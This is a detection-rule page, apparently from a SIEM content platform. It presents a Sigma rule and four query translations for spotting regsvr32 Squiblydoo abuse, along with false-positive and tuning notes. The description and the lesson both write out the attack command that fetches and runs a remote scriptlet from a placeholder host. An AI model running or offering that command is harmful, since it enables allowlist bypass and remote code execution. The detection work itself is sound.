Regsvr32 loading a scriptlet or a module from a remote path

Siemphony@siemphonymediumT1218.010verified in labPlaybook · Unexpected execution

Takes the process-creation leg of AN0785 and splits regsvr32.exe executions into the two shapes the analytic calls anomalous: a module named by URL or UNC path rather than by a local file, and a COM scriptlet rather than a DLL. The remote selection matches an http, https or ftp scheme on the command line — the "Squiblydoo" form `regsvr32 /s /n /u /i:http://host/file.sct scrobj.dll`, which registers nothing and only executes — or a UNC prefix, written as four backslashes in the YAML because `\\` in Sigma is one literal backslash. The scriptlet selection matches the scriptlet engine `scrobj.dll` and the `.sct` extension, which is MITRE's ScriptletExtensions knob populated here with the two strings that name the mechanism rather than a file type. Plain `regsvr32 C:\path\thing.dll` is deliberately not a hit: registering a local DLL is what the binary is for, and MITRE's AllowedDLLPaths knob exists precisely because that traffic is constant. Two limits worth stating: a copy of regsvr32.exe renamed before use escapes the `Image|endswith` gate, and the analytic's other three log sources — Sysmon EventID 7 module loads and EventID 3/22 network and DNS events — are separate log sources that cannot be joined to this one inside a single Sigma rule, so the unsigned-DLL and outbound-traffic halves of the correlation are not expressed here. The brief maps Security EventID 4688 onto Sigma's `process_creation` category, which is Sysmon-shaped — this rule is written in that vocabulary (`Image`, `CommandLine`), and a raw 4688 feed, whose native field name for the binary is `NewProcessName`, needs the usual field mapping applied before it can match. 4688 also requires *Audit Process Creation*, and every selection here reads the arguments, so it additionally requires the separate *Include command line in process creation events* policy; without both, this rule returns zero rows, and zero rows here means blind, not quiet. UNVERIFIED AS AUTHORED — derived from MITRE ATT&CK DET0282, not hand-written and not tested by its author. Any lab result is on this rule's own page.Full description

The 4 SIEM queries below are previews produced by Siemphony’s own translator, not pySigma, and none has been executed against a real backend — review before you deploy.

detection.yml

1title: Regsvr32 loading a scriptlet or a module from a remote path2id: 2baac6bb-8880-47c8-961f-761591a444943status: experimental4description: |5  Takes the process-creation leg of AN0785 and splits regsvr32.exe executions6  into the two shapes the analytic calls anomalous: a module named by URL or UNC7  path rather than by a local file, and a COM scriptlet rather than a DLL. The8  remote selection matches an http, https or ftp scheme on the command line — the9  "Squiblydoo" form `regsvr32 /s /n /u /i:http://host/file.sct scrobj.dll`, which10  registers nothing and only executes — or a UNC prefix, written as four11  backslashes in the YAML because `\\` in Sigma is one literal backslash. The12  scriptlet selection matches the scriptlet engine `scrobj.dll` and the `.sct`13  extension, which is MITRE's ScriptletExtensions knob populated here with the14  two strings that name the mechanism rather than a file type. Plain15  `regsvr32 C:\path\thing.dll` is deliberately not a hit: registering a local DLL16  is what the binary is for, and MITRE's AllowedDLLPaths knob exists precisely17  because that traffic is constant. Two limits worth stating: a copy of18  regsvr32.exe renamed before use escapes the `Image|endswith` gate, and the19  analytic's other three log sources — Sysmon EventID 7 module loads and EventID20  3/22 network and DNS events — are separate log sources that cannot be joined to21  this one inside a single Sigma rule, so the unsigned-DLL and outbound-traffic22  halves of the correlation are not expressed here.23  The brief maps Security EventID 4688 onto Sigma's `process_creation` category,24  which is Sysmon-shaped — this rule is written in that vocabulary (`Image`,25  `CommandLine`), and a raw 4688 feed, whose native field name for the binary is26  `NewProcessName`, needs the usual field mapping applied before it can match.27  4688 also requires *Audit Process Creation*, and every selection here reads the28  arguments, so it additionally requires the separate *Include command line in29  process creation events* policy; without both, this rule returns zero rows, and30  zero rows here means blind, not quiet.31  UNVERIFIED AS AUTHORED — derived from MITRE ATT&CK DET0282, not hand-written and not tested by its author. Any lab result is on this rule's own page.32references:33  - https://attack.mitre.org/techniques/T1218/01034  - https://attack.mitre.org/detectionstrategies/DET028235author: Siemphony pipeline (machine-derived from MITRE ATT&CK v19.2)36date: 2026-08-1737tags:38  - attack.defense-evasion39  - attack.t1218.01040logsource:41  category: process_creation42  product: windows43detection:44  selection_tool:45    Image|endswith: '\regsvr32.exe'46  selection_remote:47    CommandLine|contains:48      - 'http://'49      - 'https://'50      - 'ftp://'51      - '\\\\'52  selection_scriptlet:53    CommandLine|contains:54      - 'scrobj.dll'55      - '.sct'56  condition: selection_tool and (selection_remote or selection_scriptlet)57falsepositives:58  - "Application installers, repair routines and packaging scripts that register a COM component straight off a software distribution share, for example regsvr32 /s \\fileserver\\apps\\vendor\\control.dll. The UNC prefix is the whole of the signal in that leg, and in estates that deploy software from a file share this is the rule's highest-volume match by a wide margin — it is why the level is medium rather than high."59  - "Legacy setup routines, vendor knowledge-base articles and helpdesk scripts that re-register the Windows Script Component runtime with regsvr32 scrobj.dll to repair a broken scriptlet association, which matches the scriptlet selection exactly with nothing remote involved."60  - "Endpoint-management agents and logon scripts that register or unregister ActiveX controls and Office add-ins from a mapped network location during an application rollout, producing a burst of UNC-path matches across many hosts at the same time of day."61  - "Developers and support staff registering a freshly compiled control directly from a UNC build-output path on a workstation, which produces the same event as a remote module load and is common on any machine used for COM development."62level: medium

Sentinel · KQL

Run this as a search.

DeviceProcessEvents| where (FolderPath endswith "\\regsvr32.exe" and ((ProcessCommandLine contains "http://" or ProcessCommandLine contains "https://" or ProcessCommandLine contains "ftp://" or ProcessCommandLine contains "\\\\") or (ProcessCommandLine contains "scrobj.dll" or ProcessCommandLine contains ".sct")))

Splunk · SPL

Run this as a search.

index=* (Image="*\\regsvr32.exe" AND ((CommandLine="*http://*" OR CommandLine="*https://*" OR CommandLine="*ftp://*" OR CommandLine="*\\\\*") OR (CommandLine="*scrobj.dll*" OR CommandLine="*.sct*")))

Elastic · ES|QL

Run this as a search.

FROM logs-*| WHERE (TO_LOWER(process.executable) LIKE "*\\\\regsvr32.exe" AND ((TO_LOWER(process.command_line) LIKE "*http://*" OR TO_LOWER(process.command_line) LIKE "*https://*" OR TO_LOWER(process.command_line) LIKE "*ftp://*" OR TO_LOWER(process.command_line) LIKE "*\\\\\\\\*") OR (TO_LOWER(process.command_line) LIKE "*scrobj.dll*" OR TO_LOWER(process.command_line) LIKE "*.sct*")))

Wazuh · XML rule

Deploy to your manager — this is a rule, not a search.

<group name="sigma,windows,process_creation,">  <!-- Rule ids must be unique on your manager; 100000+ is the user range. -->  <rule id="100000" level="7">    <!-- Set <if_sid> to the decoder/base rule for windows so this only evaluates relevant events. -->    <field name="Image" type="pcre2">(?i)\\regsvr32\.exe$</field>    <field name="CommandLine" type="pcre2">(?i)((http://|https://|ftp://|\\\\)|(scrobj\.dll|\.sct))</field>    <description>Regsvr32 loading a scriptlet or a module from a remote path</description>    <mitre>      <id>T1218.010</id>    </mitre>  </rule></group>

At a glance

Logsource: process_creation / windows
Level: medium
Category: signed_binary_proxy
Sigma status: experimental
Backends: 4 of 4 rendered
Updated: 30 Aug 2026
Rule ID: 2baac6bb-8880-47c8-961f-761591a44494

ATT&CKT1218.010

T1218.010Regsvr32

ATT&CK® is a registered trademark of The MITRE Corporation. These mappings are the rule author’s, and are neither reviewed nor endorsed by MITRE.

Evidence

Verification2 runs

Verified in Siemphony lab

Security Datasets — regsvr32 loading a remote scriptlet
passed
Siemphony IR · 3 Sept 2026
1 true · 0 false · 0.0% noise
Siemphony benign baseline
completed
Siemphony IR · 3 Sept 2026
No events matched, so this run proves nothing either way.

Noise check0 of 30 fired

Fires on none of the 30 ordinary behaviours the baseline holds for this log type. That is not a precision guarantee: it means only not caught by these 30 behaviours, and the next ordinary behaviour nobody wrote down may still match.

Run live against 65 hand-written events of ordinary corporate activity — backup agents, software distribution, patching, helpdesk scripts, EDR. It says nothing about how often the rule would fire in production, which is the number that actually exhausts an analyst.

Test it yourselfin your browser

Runs here in your browser against public attack recordings. A preview — not the verification badge.

Recordings of T1218.010, evaluated against their process_creation events.

Using it

Tuning & false positivesexperimental · 4 declared

experimental (current stage)
test
stable

Written and reasoned about, but not yet run against real telemetry. Expect to tune it before trusting it.

Tuning tips

Split the rule before you filter it. http:// plus .sct is close to a signature; '\\\\' is close to background. Running them as two rules at different levels — or dropping the UNC string and recording it as a stated limit — recovers fidelity that OR-ing them throws away. MITRE's ParentProcessWhitelist and AllowedDLLPaths knobs then scope what remains.
Two gaps worth closing. First, Image|endswith loses to a renamed copy of regsvr32; the Sysmon vocabulary carries OriginalFileName, so adding OriginalFileName: 'REGSVR32.EXE' closes it — but that field has no counterpart on a raw 4688 feed, where the rename gap reopens. Second, the rule misses the leg that fires most often today: Defender ASR and egress proxies break the remote fetch, so current loaders stage the DLL locally and run regsvr32 /s C:\Users\<u>\AppData\Local\Temp\a.dll. A third selection on \AppData\Local\Temp\, \Windows\Temp\, \Users\Public\ and \ProgramData\ covers it. Those paths would be authored values, not MITRE's — AllowedDLLPaths names the inverse, the paths you expect.

Declared by the author

Application installers, repair routines and packaging scripts that register a COM component straight off a software distribution share, for example regsvr32 /s \fileserver\apps\vendor\control.dll. The UNC prefix is the whole of the signal in that leg, and in estates that deploy software from a file share this is the rule's highest-volume match by a wide margin — it is why the level is medium rather than high.
Legacy setup routines, vendor knowledge-base articles and helpdesk scripts that re-register the Windows Script Component runtime with regsvr32 scrobj.dll to repair a broken scriptlet association, which matches the scriptlet selection exactly with nothing remote involved.
Endpoint-management agents and logon scripts that register or unregister ActiveX controls and Office add-ins from a mapped network location during an application rollout, producing a burst of UNC-path matches across many hosts at the same time of day.
Developers and support staff registering a freshly compiled control directly from a UNC build-output path on a workstation, which produces the same event as a remote module load and is common on any machine used for COM development.

Lessonsigned binary proxy

signed binary proxyAI draft — unreviewed

01 · What this rule detects

regsvr32.exe invoked in either of the two shapes AN0785 calls anomalous: a module named by a remote path rather than a local file, and a COM scriptlet rather than a DLL. The canonical hit is "Squiblydoo" — regsvr32 /s /n /u /i:http://host/file.sct scrobj.dll — which registers nothing and only executes, so it leaves no registry trace and rides a Microsoft-signed binary past allowlists.

02 · Telemetry you need

category: process_creation, product: windows, taken from AN0785's Security EventID 4688 log source.
That needs Audit Process Creation enabled, and because every selection reads arguments, it also needs the separate Include command line in process creation events policy. Neither is on by default or in the MS/CIS baselines; with either off the rule returns zero rows, which reads as quiet and means blind.
The brief maps 4688 onto a Sysmon-shaped Sigma category, so the rule speaks Image and CommandLine; a raw 4688 feed calls the binary NewProcessName and needs that mapping first. AN0785's three other sources — Sysmon EventID 7 module loads, EventID 3 network connections and EventID 22 DNS — are separate log sources that no single Sigma rule can join, so the unsigned-module and outbound-traffic halves of the correlation are simply absent here. All four backends render the rule.

03 · How the logic works

selection_tool gates on Image|endswith: '\regsvr32.exe', then the condition ORs two argument tests against it. selection_remote is four CommandLine|contains strings: http://, https://, ftp:// and '\\\\'. That last one is four backslashes in YAML because \\ in Sigma is a single literal backslash — written as two it would degrade into "contains a backslash", which every Windows path satisfies, and the selection would be permanently true. selection_scriptlet matches .sct and scrobj.dll. .sct comes from MITRE's ScriptletExtensions knob, whose own examples are .sct and .ocx; scrobj.dll is the pipeline's own addition, naming the scriptlet engine rather than a file type. .ocx is not currently matched. Plain regsvr32 C:\path\thing.dll is deliberately not a hit — registering a local DLL is what the binary exists for, and MITRE's AllowedDLLPaths knob exists because that traffic never stops.

04 · Common false positives

Almost all of it lands on the UNC leg. Installers, repair routines and packaging scripts that register a component straight off a distribution share (regsvr32 /s \\fileserver\apps\vendor\control.dll) are the highest-volume match by a wide margin, and the reason level is medium rather than high. Management agents registering add-ins from a mapped location add bursts across many hosts at once, and developers registering a freshly built control from a UNC build path produce the same record. On the scriptlet side, legacy setup routines and helpdesk articles that re-register the Windows Script Component runtime with regsvr32 scrobj.dll match exactly, with nothing remote involved.

05 · Detection maturity

tier_1: , and it stays at the lowest tier until it has been run against real data. UNVERIFIED: authored from DET0282, never executed against a log line.
tier_2: is a month of regsvr32 executions counted by selection and by parent, which settles whether the UNC leg belongs in this rule at all.

Related detections4 nearby

Ranked by how alike the detection logic reads, computed offline. Proximity is not evidence — each of these carries its own verification state on its own page.

Share this rule

/u/siemphony/2baac6bb-8880-47c8-961f-761591a44494

More from this repertoire

All compositions

Verdicts · reactions · comments

Community

Verdicts from engineers who actually deployed it, and the conversation around it.

Not yet reported on

Nobody has run this in a real environment and said what happened.

Verdicts from engineers who deployed it

0 cast

No verdicts reported yet. The first one is worth more than the tenth — say what you ran it against.

No comments yet. Someone who deploys this will have something to say about it.

Regsvr32 loading a scriptlet or a module from a remote path

The detection

detection.yml

Sentinel · KQL

Splunk · SPL

Elastic · ES|QL

Wazuh · XML rule

Community

Verdicts from engineers who deployed it